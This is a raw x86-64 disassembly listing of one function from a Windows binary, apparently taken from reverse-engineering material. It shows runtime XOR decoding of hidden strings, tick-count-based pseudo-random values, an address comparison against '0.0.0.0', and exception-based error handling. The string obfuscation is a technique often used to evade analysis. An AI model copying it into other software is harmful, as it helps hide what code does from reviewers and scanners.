mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, esi
lock xadd dword [rdx + 0x10], eax
add eax, esi
test eax, eax
jle 0x140049af8
jmp 0x140049b01
or rsi, 0xffffffffffffffff
jmp 0x140049b01
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r9d, dword [0x1401a8d80]
mov edi, dword [rsp + 0x60]
jmp 0x14004896c
mov eax, r15d
jmp 0x14004a23e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x490]
call fcn.14004157c
mov rsi, rax
mov qword [rsp + 0x48], rax
call fcn.140041630
test al, al
jne 0x140049b67
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9d, eax
mov eax, 0xcccccccd
mul r9d
shr edx, 6
lea ecx, [rdx + rdx*4]
shl ecx, 4
sub r9d, ecx
add r9d, r15d
mov dword [0x1401a8d80], r9d
jmp 0x140049b6e
mov r9d, dword [0x1401a8d80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0x15
jne 0x140049bd8
lea ecx, [r8 + 0x13]
call fcn.1400bc638
mov rdi, rax
mov rbx, r14
mov r12d, 0xa
call fcn.1400bd978
add eax, dword [0x1401a8d80]
mov dword [rdi + rbx*4], eax
add rbx, r15
cmp rbx, r12
jl 0x140049bb1
mov ecx, dword [rdi + 0x24]
mov dword [0x1401a8d80], ecx
mov rcx, rdi
call fcn.1400be0fc
lea rbx, [0x1401a46f8]
cmp byte [0x1401aaeba], r14b
jne 0x140049c8e
call fcn.1400417e0
test al, al
jne 0x140049c0a
mov edx, 0x44
lea r8d, [rdx + 1]
lea rcx, str._d__d_n
call fcn.1400bd8cc
mov dword [rbp + 0x1178], 0xe000a
mov dword [rbp + 0x117c], 0x30012
mov dword [rbp + 0x1180], 0x460006
mov dword [rbp + 0x1184], 0xd0006
mov dword [rbp + 0x1188], 8
mov dword [rbp + 0x118c], 0x170051
mov dword [rbp + 0x1190], 0xe000a
mov dword [rbp + 0x1194], 0xa
lea rsi, [0x1401a3d90]
movzx eax, byte [r14 + rsi]
xor ax, word [rbp + r14*2 + 0x1178]
mov word [rbx + r14*2], ax
add r14, r15
cmp r14, 0xf
jl 0x140049c61
call fcn.140041630
mov byte [0x1401aaeba], r15b
mov rsi, qword [rsp + 0x48]
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp - 0x48]
call fcn.1400c4e98
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x410]
call fcn.14004157c
mov rbx, rax
call fcn.140045ec4
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x18]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp - 0x18]
call fcn.1400c4e98
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x4d0]
call fcn.14004157c
mov rbx, rax
call fcn.140045b1c
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x28]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp + 0x28]
call fcn.1400c4e98
nop
mov ecx, 0x80070057
call fcn.140001874
int3
mov ecx, 0x80070057
call fcn.140001874
int3
mov ecx, 0x80004005
call fcn.140001874
int3
lea rdx, str.0.0.0.0
mov rcx, rbx
call fcn.1400d0fa0
test eax, eax
jne 0x140049e7f
mov qword [r13 + 0x1d0], r14
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1400178c0
nop
mov edx, 0x5c
lea rcx, [rsp + 0x40]
call fcn.14004d01c
mov dl, 0x20
lea rcx, [rsp + 0x40]
call fcn.14004d01c
mov dl, 0x2f
lea rcx, [rsp + 0x40]
call fcn.14004d01c
mov r8, qword [rsp + 0x40]
mov edx, 1
mov eax, edx
sub eax, dword [r8 - 8]
or eax, dword [r8 - 0xc]
jge 0x140049dc8
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.14001825c
mov r8, qword [rsp + 0x40]
mov edx, 1
lea r9, [0x1401a4a88]
cmp byte [0x1401aae9c], r14b
jne 0x140049e62
mov dword [rbp + 0x1198], 0x60015
mov dword [rbp + 0x119c], 0x170001
mov dword [rbp + 0x11a0], 0x9000a
mov dword [rbp + 0x11a4], 0x560006
mov dword [rbp + 0x11a8], 0x550045
mov dword [rbp + 0x11ac], 0x54005f
mov dword [rbp + 0x11b0], 0x520041
mov dword [rbp + 0x11b4], 0x530042
mov word [rbp + 0x11b8], r14w
lea r8, [0x1401a3d90]
movzx eax, byte [r14 + r8]
xor ax, word [rbp + r14*2 + 0x1198]
mov word [r9 + r14*2], ax
add r14, rdx
cmp r14, 0x10
jl 0x140049e3b
mov byte [0x1401aae9c], dl
mov r8, qword [rsp + 0x40]
mov rdx, r9
lea rcx, [rbp + 8]
call fcn.1400460a0
lea rdx, [0x14016bd50]
lea rcx, [rbp + 8]
call fcn.1400c4e98
nop
lea rcx, [r13 + 0x188]
lea rdx, [rsp + 0x38]
call fcn.140001ff8
mov dword [r13 + 0x1c8], esi
lea rdx, [rbx - 0x18]
or rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140049eb6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x140049ed5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x14004a23e
mov ecx, 0x80004005
call fcn.140001874
nop
lea rbx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], rdi
cmovae rbx, qword [rbp + 0x2b0]
call fcn.140044c64
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x38]
call fcn.1400460a0
lea rdx, [0x14016bd50]
lea rcx, [rbp - 0x38]
call fcn.1400c4e98
nop
mov ecx, 0x80004005
call fcn.140001874
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x510]
call fcn.14004157c
mov r8, rax
mov qword [rsp + 0x48], rax
lea rdx, [0x1401a43f8]
cmp byte [0x1401aae94], r14b
jne 0x140049fe0
mov dword [rbp + 0x1158], 0xe000a
mov dword [rbp + 0x115c], 0x30012
mov dword [rbp + 0x1160], 0x460006
mov dword [rbp + 0x1164], 0x1e0018
mov dword [rbp + 0x1168], 0x6000a
mov dword [rbp + 0x116c], 0xa0051
mov dword [rbp + 0x1170], 0xf000e
mov ecx, 0xf
mov dword [rbp + 0x1174], 9
lea r8, [0x1401a3d90]
movzx eax, byte [r14 + r8]
xor ax, word [rbp + r14*2 + 0x1158]
mov word [rdx + r14*2], ax
add r14, r15
cmp r14, rcx
jl 0x140049fb9
mov byte [0x1401aae94], r15b
mov r8, qword [rsp + 0x48]
lea rcx, [rbp - 0x28]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp - 0x28]
call fcn.1400c4e98
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x450]
call fcn.14004157c
mov rbx, rax
mov edx, edi
lea rcx, [rbp + 0x470]
call fcn.14004157c
nop
lea r8, [0x14013c928]
mov rdx, rax
lea rcx, [rbp + 0x4b0]
call fcn.14002a190
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.14004dd04
mov rbx, rax
call fcn.140044e08
mov rdx, rax
mov r8, rbx
lea rcx, [rbp - 8]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp - 8]
call fcn.1400c4e98
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x4f0]
call fcn.14004157c
mov rsi, rax
mov qword [rsp + 0x48], rax
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, r15d
jne 0x14004a0f5
mov ecx, 0x28
call fcn.1400bc638
mov rdi, rax
mov rbx, r14
mov r12d, 0xa
call fcn.1400bd978
add eax, dword [0x1401a8d80]
mov dword [rdi + rbx*4], eax
add rbx, r15
cmp rbx, r12
jl 0x14004a0ce
mov ecx, dword [rdi + 0x24]
mov dword [0x1401a8d80], ecx
mov rcx, rdi
call fcn.1400be0fc
lea r9, [0x1401a4a40]
cmp byte [0x1401aaeb0], r14b
jne 0x14004a1e2
mov dword [rbp + 0x11c0], 0x110006
mov dword [rbp + 0x11c4], 0xb0001
mov dword [rbp + 0x11c8], 0x460011
mov dword [rbp + 0x11cc], 0x9000f
mov dword [rbp + 0x11d0], 0x110011
mov dword [rbp + 0x11d4], 0xa0018
mov dword [rbp + 0x11d8], 0x420008
mov dword [rbp + 0x11dc], 0xa000a
mov dword [rbp + 0x11e0], 0x70011
mov dword [rbp + 0x11e4], 0x50001b
mov dword [rbp + 0x11e8], 0x1c0004
mov dword [rbp + 0x11ec], 0x5001f
mov dword [rbp + 0x11f0], 0x1c0003
mov dword [rbp + 0x11f4], 0x4b001b
mov dword [rbp + 0x11f8], 0x1d0004
mov dword [rbp + 0x11fc], 0x1e000b
mov dword [rbp + 0x1200], 0x5c
lea rsi, [0x1401a3d90]
movzx eax, byte [r14 + rsi]
xor ax, word [rbp + r14*2 + 0x11c0]
mov word [r9 + r14*2], ax
add r14, r15
cmp r14, 0x21
jl 0x14004a1ba
mov byte [0x1401aaeb0], r15b
mov rsi, qword [rsp + 0x48]
mov r8, rsi
mov rdx, r9
lea rcx, [rbp + 0x18]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp + 0x18]
call fcn.1400c4e98
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x530]
call fcn.14004157c
mov rbx, rax
call fcn.14004504c
mov rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x38]
call fcn.140046158
lea rdx, [0x14016bd50]
lea rcx, [rbp + 0x38]
call fcn.1400c4e98
nop
mov rcx, qword [rbp + 0x14b0]
xor rcx, rsp
call fcn.1400bcfc0
lea r11, [rsp + 0x15c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret